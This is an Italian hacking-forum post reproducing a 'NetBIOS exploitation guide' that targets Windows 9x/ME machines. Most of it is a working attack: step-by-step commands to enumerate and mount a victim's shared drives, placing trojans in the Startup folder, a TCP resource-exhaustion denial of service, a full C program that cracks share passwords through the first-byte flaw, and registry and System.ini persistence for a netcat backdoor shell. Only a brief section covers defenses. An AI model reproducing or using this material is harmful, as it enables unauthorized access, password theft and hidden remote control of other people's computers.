Total Hack Cheat
Benvenuto/a su Total hack Cheat....
non aspettate altro tempo Registratevi!!

Guida allo Sfruttamento di netbios 1.0

Vedere l'argomento precedente Vedere l'argomento seguente Andare in basso

Guida allo Sfruttamento di netbios 1.0

Messaggio Da RaYoZ il Mer Apr 07, 2010 8:37 am

***************************************************************
GUIDA ALLO SFRUTTAMENTO DI NETBIOS 1.0
***************************************************************

INDICE:-DISCLAIMER-TECNICA DI BASE
---REQUISITI
---TECNICA-TECNICHE AVANZATE (...AVANZATE SI FA PER DIRE...)
---RACCOLTA INFORMAZIONI SUL BERSAGLIO
---ESAURIMENTO DELLE RISORSE DI RETE
---FIRST BYTE BUG
---EXPLOIT
---CREARSI UNA SHELL SUL BERSAGLIO-MESSAGGI D'ERRORE-COME DIFENDERSI?-CONCLUSIONIDISCLAIMER:
Questa mini guida sullo sfruttamento del Netbios è da considerarsi come un testo informativo/educativo. Non sono un Guru, sono un essere umano e potrei scrivere cazzate, quindi se ho sbagliato qualcosa scrivetemi pure e correggerò l'errore (...magari senza insultarmi... :-) ). L'autore (Nephilim) non si assume alcuna responsabilità per l'uso inadeguato o illegale delle informazioni qui contenute. Ho realizzato questa guida per far capire alcuni aspetti della sicurezza non per far divertire un paio di lamer.
Insomma se vi fate beccare per queste menate sono tutti cazzi vostri. :-)**************************************************************
TECNICA DI BASE
**************************************************************REQUISITI:
Hai windowz? Sei a posto..dovrai solo sincerarti di configurarlo in un paio di passaggi, però prima di sfruttarlo vediamo di capire bene cosa è Netbios. Netbios è semplicemente un condivisore di risorse in rete, si appoggia sulla porta 139 e sfrutta le reti locali IPX/LAN.
Bene ora vediamo di configurare windowz in quanto per sfruttare le risorse del pc vittima devi preparare il tuo pc ed in breve renderlo in grado di comunicare con altri pc aventi il netbios attivo (alla fine il 60% degli utenti).Si va in Start->Pannello di controllo-> rete e si aggiunge:
1) Client per reti microsoft
2) Client per reti netware (che aggiunge automaticamente il protocollo IPX/SPX). Questo lo trovi in: Start->Pannello di controllo->rete-> Aggiungi ->Client ->Client per reti microsoft/netware.Ok, configurazione finita. Non era difficile, vero?TECNICA:
Innanzitutto bisogna avere l'indirizzo IP del bersaglio. Non è compito di questa guida insegnare come trovare un'IP comunque si può sempre ricavare da e-mail ricevute, o magari con un /dns nick se ci si trova su IRC o se siete proprio lameri e vi basta colpire a caso ci sono programmi come Legion che scannerizzano determinati range di IP alla ricerca di terminali con Netbios attivo. Partirò dal presupposto che siete bravi ragazzi e che volete fare le cose da voi e manualmente...:-)
Scrivete dal prompt dos:c:\nbtstat -A xxx.xxx.xxx.xxx (Mi raccomando la -A maiuscola con gli indirizzi IP... -a con gli Host Name)Dove xxx.xxx.xxx.xxx è chiaramente l'indirizzo IP del bersaglio.
Se riceveremo come risposta:Host not FoundSignifica che il netbios è disattivato, altrimenti riceveremo qualcosa del genere:NetBIOS Remote Machine Name Table

Name Type Satus
---------------------------------------
PIRLA <00>UNIQUE Registered
WORK <00>UNIQUE Registered
PIRLA <03>UNIQUE Registered
PIRLA <20>UNIQUE Registered
WORK <1E>UNIQUE Registered Ok, ora ci prendiamo il nome della macchina (quello con identificativo <20> (ovvero condivide risorse) oppure, se manca, il primo della lista: PIRLA) e sempre dal prompt del dos digitiamo:c:\>edit c:\windows\lmhostsEditiamo il file in questo modo:xxx.xxx.xxx.xxx PIRLA #PRETenendo conto che se il nome della macchina è separato (es. PIR LA) dobbiamo scriverlo come "PIR LA" e che il tag #PRE è fisso e va sempre inserito. Quando si edita il file lmhosts gli spazi si devono fare con il tasto TAB. Dopo aver creato il file lmhosts lo carichiamo digitando sempre da prompt dos \> nbtstat -R [carichiamo il file lmhosts]Se tutto è andato bene dovrebbe apparire:"Successful purge and preload of the NBT Remote Cache Name Table"In caso contrario o avete sbagliato a editare il file oppure avete configurato male il pc.
Ora incrociamo le dita e vediamo se ci sono delle risorse condivise digitando:net view \\PIRLASe appare un messaggio di errore significa che non ci sono risorse condivise o che non siamo autorizzati ad accedervi, altrimenti apparirà il seguente messaggio:
Risorse condivise su \\PIRLA

Condivisione Tipo Commento
------------------------------------------
C Disco
D Disco
EPSON Stampa

Esecuzione comando riuscita Ora basta uscire dal dos e andare in esplora risorse e dal menu in alto selezionare Strumenti\Connetti unità di rete.
Bene, scegliamo l'unità del nostro nuovo HD nel percorso:\\PIRLA\CIn qusto modo si visualizzerà il contenuto del suo HD. Per l'upload e il download di file si deve ricorrere ad un bel copia e incolla, mentre per avviare i files non si deve cliccare sul file eseguibile (se no si apre sul nostro pc) bensì posizionare il file (backdoor /trojans o altro..) nella subdirectory "c:\windows\menu avvio\programmi\esecuzione automatica\" e aspettare che il nostro nuovo amico riavii il suo bel PC. :-)
*******************************************************
TECNICHE AVANZATE (...AVANZATE SI FA PER DIRE... :-) )
*******************************************************
In questa sezione illustrerò alcune tecniche leggermente avanzate che ci permetteranno di avere accesso anche a sistemi protetti da password, a raccogliere informazioni sul bersaglio e crearci una bella shell da usare come bouncer.
Se sei un lamer e ti piace avere la pappa pronta considera pure conclusa la lettura e torna a floodare dei poveracci su IRC, questa guida si rivolge a coloro che sono interessati alla rete e sono curiosi di scoprire ed imparare per il solo bene del Sapere e non per fare del male.
Sarò volontariamente generico, darò l'incipit e non scriverò cosa fare passo passo ma se siete interessati non esitate a contattarmi e vi darò una mano a risolvere i vostri problemi...Ok, dopo questo breve sfogo :-) possiamo tornare al lavoro!
RACCOLTA INFORMAZIONI SUL BERSAGLIO
Questa tecnica sfrutta la specifica di windoZ che permette di installare una stampante anche in remoto e che mette allo scoperto il sistema lasciando un bel buco.
Nel fare questo sharing infatti, win crea un file in c:\windows\system chiamato "printer$". Questo file è accessibile dall'esterno e senza bisogno di password anche se il sistema è generalmente protetto. E allora? direte voi, blasfemi ed infedeli...:-) questa cosa è molto importante per determinare DLL e informazioni sulla versione del software installato, così come dati personali dell'utente...
I sistemi vulnerabili sono come al solito i win9x e ME.Exploit: Mooolto semplice, basta scrivere nel box "Start, Run...": \\PIRLA\printer$Dove PIRLA è il nome del computer con la condivisione della stampante attivata...il resto lo lascio al vostro intuito... :-)
ESAURIMENTO DELLE RISORSE DI RETE
Questa tecnica sfrutta una vulnerabilità di NTB che può risultare particolarmente utile nel caso di bersaglio multiplo. Una volta connessi alla porta 139 del bersaglio è infatti molto facile causarne il blocco consumando le sue risorse di rete...Come? Presto detto...l'attacco consiste nell'inizializzare numerose connessioni e quindi chiuderle lasciando i socket TCP del bersaglio in stato di FINWAIT_1. Ora, anche se i socket alla fine scadono e liberano memoria, lanciando continue connessioni si otterrà un blocco del sistema per tutta la durata dell'attacco. Solo Windows 2000 è invulnerabile all'attacco, mentre per NT 4.0sp6 esiste una patch (Che la maggior parte degli utenti ignora :-) ).
Come possono difendersi gli altri sistemi? Al fine di rendere vano questo genere di attacco basta lasciare un elevato numero di connessioni in stato FINWAIT_1. FIRST BYTE BUG
Questa tecnica che sto per spiegarvi sfrutta la genialità dei programmatori MicroZoft che hanno sviluppato lo schema di verificazione della password nel protocollo NETBIOS. :-)
Funziona con Win 9x (Qualsiasi edizione) e ME, mentre Win 2000 e NT sono immuni.
Dunque, questa vulnerabilità ci permetterà di accedere al servizio file sharing anche se protetto da password che ignoriamo...Come? Beh, vediamo di capire la falla del sistema e poi il modo di sfruttarla verrà da sè (Sto cercando di farvi capire come bisogna muoversi...).
Lo schema di verificazione della password ha una falla a monte...non paragona infatti la lunghezza della password immessa dal client con quella memorizzata sul server. Questo significa che se noi settiamo la lunghezza della password ad 1 byte e spediamo il pacchetto al server, questi verificherà solo il primo byte della password di sharing e se sarà giusta l'autenticazione sarà completa. :-) Grande!
Capito? Per entrare in uno di questi sistemi ci basterà inviare un pacchetto da un byte al server e riprovare fin quando indovineremo il primo byte...
...tra l'altro questa tecnica funziona anche con il sistema di accesso remoto di windows in quanto lo schema di verifica password è lo stesso... :-)EXPLOIT
Questo exploit, scritto con il grande Melih SAriCA (che ringrazio e saluto, you rule!) permette di sfruttare il buco dello schema di verificazione della password. In rete si può trovare una versione leggermente diversa, con l'implementazione di funzioni fork() all'interno del codice che lo rendono più veloce e snello ma anche più instabile. Per questo motivo ho preferito inserire qualcosa di più sicuro.Ripeto: Usate questo exploit solo per autotestarlo sul vostro sistema. Nè io (Nephilim) nè Sarica siamo resposabili di un uso illegale di questo programma... (...la prudenza non è mai troppa... :-) )
Usate caratteri appartenenti al range [A-Z] - [0-9], in genere bastano, in ogni caso il programma sfrutta tutti e 256 caratteri. #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <ctype.h>
#include <sys/wait.h>
#include <sys/time.h> #define SMBPORT 139 int sock_connect(char *remotehost, unsigned int port);
long uid;
char share[100];
char password[100];
char smb_packet[512];
char data[8192]; // 4 general purpose int request_new_session(int sock)
{
int i, j=0, len;
char nbname[100], nbnetform[100], t[2];
char session_data[512];
memset(session_data, 0, sizeof(session_data));
memset(nbname, 0, sizeof(nbname));
memset(nbnetform, 0, sizeof(nbnetform));
for(i=2;i<strlen(share) && share[i]!='\\';i++) nbname[i-2]=share[i];
len=strlen(nbname);
for(i=0;i<16;i++)
{
if(i>=len)
{
t[0]='C';
t[1]='A';
}
else
{
t[0]=nbname[i]/16+65;
t[1]=nbname[i]%16+65;
}
nbnetform[j]=t[0];
nbnetform[j+1]=t[1];
j+=2;
}
// Ora abbiamo i nomi NBT in formato network.
session_data[0]=0x81;
session_data[3]=0x48;
session_data[4]=0x20;
memcpy(&session_data[5], nbnetform, j);
session_data[6+j]=0x20;
sprintf(nbnetform, "CACACACACACACACACACACACACACACAAA");
memcpy(&session_data[7+j], nbnetform, 32);
if(send(sock, session_data, 37+j, 0)==-1) return -1;
memset(data, 0, sizeof(data));
if(recv(sock, data, 8192, 0)==-1) return -1;
// prendiamo l'uid per dopo
uid=data[33]*256+data[32]; // il 32° valore indica il + basso, il 33° valore indica il + alto
return data[0];
} int samba_session(int sock, char *login, char *password)
{
int lp_len, lp_raw_len, lpa, lpb, lpra, lprb, pass_len, pass_lena, pass_lenb;
char lpdata[8192];
lp_raw_len=strlen(login)+strlen(password)+2;
lp_len=lp_raw_len+55;
lpra=lp_raw_len/256; // dividiamo per 256 per calcolare il valore più alto
lprb=lp_raw_len%256;
lpa=lp_len/256; // dividiamo per 256 per calcolare il valore più alto
lpb=lp_len%256;
pass_len=strlen(password)+1;
pass_lena=pass_len/256;
pass_lenb=pass_len%256;
memset(lpdata, 0, sizeof(lpdata));
lpdata[2]=lpa; lpdata[3]=lpb;
lpdata[4]=0xff; lpdata[5]=0x53;
lpdata[6]=0x4d; lpdata[7]=0x42;
lpdata[8]=0x73; lpdata[13]=0x18;
lpdata[14]=0x01; lpdata[15]=0x20;
lpdata[31]=0x28; lpdata[36]=0x0a;
lpdata[37]=0xff; lpdata[41]=0x04;
lpdata[42]=0x11; lpdata[43]=0x02;
lpdata[51]=pass_lenb; lpdata[52]=pass_lena;
lpdata[57]=lprb; lpdata[58]=lpra;
memcpy(&lpdata[59], password, strlen(password));
memcpy(&lpdata[60+strlen(password)], login, strlen(login));
if(send(sock, lpdata, strlen(password)+strlen(login)+61, 0)==-1) return -1;
if(recv(sock, lpdata, 1024, 0)==-1) return -1;
return (lpdata[9]);
} void build_crafted_smb_packet(char *remoteshare, char *remotepassword)
{
memset(smb_packet, 0, sizeof(smb_packet));
smb_packet[4]='\xff';
smb_packet[5]='S';
smb_packet[6]='M';
smb_packet[7]='B';
smb_packet[8]='u';
smb_packet[13]='\x18';
smb_packet[14]='\x01';
smb_packet[15]=' ';
smb_packet[31]='\x28';
smb_packet[32]=uid%256;
smb_packet[33]=uid/256;
smb_packet[36]='\x04';
smb_packet[37]='\xff';
smb_packet[43]=strlen(remotepassword); // numero di bytes che vogliamo siano confermati in remoto...NOI stabiliamo le regole...muhahahaha
smb_packet[45]=strlen(remotepassword)+strlen(remoteshare)+1;
memcpy(&smb_packet[47], remotepassword, strlen(remotepassword));
memcpy(&smb_packet[47+strlen(remotepassword)], remoteshare, strlen(remoteshare));
smb_packet[48+strlen(remotepassword)+strlen(remoteshare)]='\x41';
smb_packet[49+strlen(remotepassword)+strlen(remoteshare)]='\x3A';
// calculate and add length
smb_packet[3]=strlen(remotepassword)+strlen(remoteshare)+47;
} int main (int argc, char *argv[])
{
int sock, i, len=1, done=0;
struct sockaddr_in sin;
struct hostent *hp;
printf("\nMicrosoft Windows 9x NETBIOS remote password cracker\n");
printf("Please test your own system only.\n\n");
if(argc!=3)
{
printf("usage: %s hostname remoteshare\n", argv[0]);
printf("hostname: Target host (ex: 127.0.0.1)\nremoteshare: Target share (ex: //victim/c)\n\n");
exit (1);
}
strncpy(share, argv[2], 100);
for(i=0;i<strlen(share);i++)
if(share[i]=='/') share[i]='\\';
else share[i]=toupper(share[i]);
hp=gethostbyname(argv[1]);
if(hp==NULL) return -1;
memset((char *)&sin, 0,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(SMBPORT);
sock=socket(AF_INET, SOCK_STREAM, 0);
if(sock==-1)
{
printf("Unable to create socket.\n");
return -1;
}
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==-1)
{
printf("Unable to connect.\n");
exit(0);
} if(request_new_session(sock)!=0xffffff82)
{
printf("Error: Couldn't establish session.\n");
return(0);
} if(samba_session(sock, "31337", "")!=0)
{
printf("Error: Couldn't establish login session.\n");
return(0);
}
memset(password, 0, sizeof(password));
printf("Wait a few seconds... (Long passwords take a few minutes on a 56K modem.)\n");
while(done==0)
{
for(i=1;i<=255;i++)
{
password[len-1]=i;
// build packet
build_crafted_smb_packet(share, password);
if(send(sock, smb_packet, strlen(share)+strlen(password)+51, 0)==-1)
{
printf("Error: Couldn't send data.\n");
return(0);
}
memset(data, 0, sizeof(data));
if(recv(sock, data, 8192, 0)==-1)
{
printf("Error: Couldn't receive data.\n");
return(0);
}
if(data[9]==0)
{
printf("-> %c\n", i);
break;
}
else
if(i==255)
{
if(len!=1) done=1;
else done=2;
password[len-1]=0;
break;
}
}
len++;
}
if(done==1) printf("Password cracked. PASSWORD:\"%s\"\n", password);
else printf("Couldn't crack password.\n");
close(sock);
return 0;
}
CREARSI UNA SHELL SUL BERSAGLIO
Questa tecnica ci permetterà di crearci una shell dos sul bersaglio e utilizzarla come bouncer per eventuali attacchi successivi...(Una sorta di Wingate privato... :-) ). Partiamo dal presupposto di avere già preso il controllo del bersaglio in questione.
Innanzitutto dovremo installare un trojan/backdoor (scegliete voi quello che vi garba di più) che ci spedisca l'IP della vittima (per il problema dell'IP dinamico...ma questo spero che lo sappiate già da voi).
Secondo passo sarà quello di attivare un nc.exe in modalità server che generi una bella shell dos...Come?
Beh, ci sono vari modi...io ne ho trovati ben 9 quindi non dovreste aver problemi, comunque ve ne suggerirò 2 o 3...lasciando perdere l'idea di creare un file .bat in \esecuzione\automatica perchè sarebbe un po troppo evidente... :-)1)Andando a modificare il System.ini nella sezione [boot]
Shell=Explorer.exe + (COMMAND.exe per windows 9.x , cmd.exe per WIndows NT/2k)2)Modificando il registro...si questo è uno dei modi più belli e sicuri... :-) [HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="\"%1\" %*"

La chiave dovrebbe avere un valore "%1 %*", se questa è cambiata in "server.exe %1 %*", il server.exe è eseguito OGNI VOLTA che un exe/pif/com/bat/hta viene eseguito.Oppure modificandolo qui: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]Ma vi consiglio il punto di prima perchè è veramente difficile scovare il buco li.3)Modificando il file c:\windows\winstart.bat che viene eseguito in automatico e che viene utilizzato per la cancellazione di files o altro all'apertura del sistema. (Utilizzate questo metodo se non avete grande dimestichezza con il registro...anche se vi consiglio di imparare perchè è veramente un parco giochi..)

Il tutto dovrà essere chiaramente accoppiato a qualche programma lamero che permetta di eseguire la shell in background o tutto il lavoro andrà a farsi benedire con il solo risultato di rivelare la nostra presenza. MESSAGGI D'ERRORE
Ritengo sia molto utile avere a disposizione una lista di messaggi d'errore (In inglese e purtroppo solo una parte) che potrete incontrare.
N.B: Spesso, a seconda del sistema, riceverete messaggi con codice decimale mentre questi sono in esadecimale. 00h - success 01h - illegal buffer length (the maximum size for a datagram buffer is 512 bytes) 03h - illegal command (check the command field) 05h - command timed out 06h - message incomplete (this occurs in receive commands when the buffer supplied is shorter than the message received; the rest of the message is lost) 08h - illegal session number (check the local_session field) 09h - no resource available 0Ah - session closed (occurs when an application tries to send/receive data on a session, in which the other end has hung up) 0Bh - command cancelled 0Dh - duplicate name in local table (occurs when an application tries to add a name, which is already present in the local name table) 0Eh - name table full (the networking software cannot add the name, as the maximum number, usually 16, has been reached) 0Fh - name has active sessions and has been de-registered (occurs when a name is removed, which still has session active - all commands on the session using that name are terminated with this error) 11h - local session table full (check the maximum number of sessions required - most networking software can be reconfigured to increase this number, but more memory is required) 12h - remote session table full (unable to open a session, due to a problem at the other end, or no station waiting for an open request) 13h - illegal name number specified (check the name_number field) 14h - cannot find name called, or no answer (occurs when command 10h is unable to find the requested name) 15h - invalid name (the name cannot be found, or contains wild cards) 16h - name in use (this occurs when trying to add a name, which already exists as a unique name on the network) 17h - name deleted 18h - session ended abnormally (some undefined error occurred, which resulted in the session being terminated) 19h - name conflict 1Ah - incompatible remote device 21h - interface busy 22h - too many commands outstanding (allow some asynchronous commands to complete, or increase the maximum number of concurrent commands allowed in your networking software) 23h - invalid network number 24h - command completed whilst cancelled operation was occuring 25h - reserved name specified (some names may be reserved for the networking software, so cannot be used by other applications) 26h - cancel command invalid (the cancel command has therefore not occurred, since the command is not suitable for cancellation) 40h-4Fh - unusual network condition 50h-FEh - adapter malfunction FFh - command incomplete (for asynchronous commands) COME DIFENDERSI?
Come fare a difendersi? bella domanda... 1) Passare a Windows 2000, anzi Windows XP...anzi linux...vi impostate i demoni e vi dimenticate di tutti questi problemi... :-)2) Bloccare le porte 135-139 e 445, sia UDP che TCP, per impedire attacchi esterni. 3) Disabilitare i "WINS Client" binding inclusa l'interfaccia NetBIOS, sia per servizi Server che Workstation. Disabilitare tutti i servizi che registrino un nome nel Netbios (rilevabili con nbtstat -n).
CONCLUSIONI:
UFFF, finita...finalmente direte voi...beh, lo dico anche io... :-) Ci sono ancora tante tecniche di cui parlare che però devo ancora affinare come la cosìdetta Unsolicited Cache Corruption (Se qualcuno di voi fosse riuscito a sfruttarla lo prego di contattarmi) ma appena potrò aggiornerò la guida.
Se avete problemi o correzioni da segnalarmi, contattatemi e ricordatevi che l'unico modo per imparare è provare e riprovare. :-)
Ciao e alla proxima :-)

RaYoZ
Admin
Admin

Messaggi : 1040
Punti : 2245
Data d'iscrizione : 03.04.10
Età : 22
Località : immerso nei pensieri

Tornare in alto Andare in basso

Vedere l'argomento precedente Vedere l'argomento seguente Tornare in alto

- Argomenti simili

 
Permesso di questo forum:
Non puoi rispondere agli argomenti in questo forum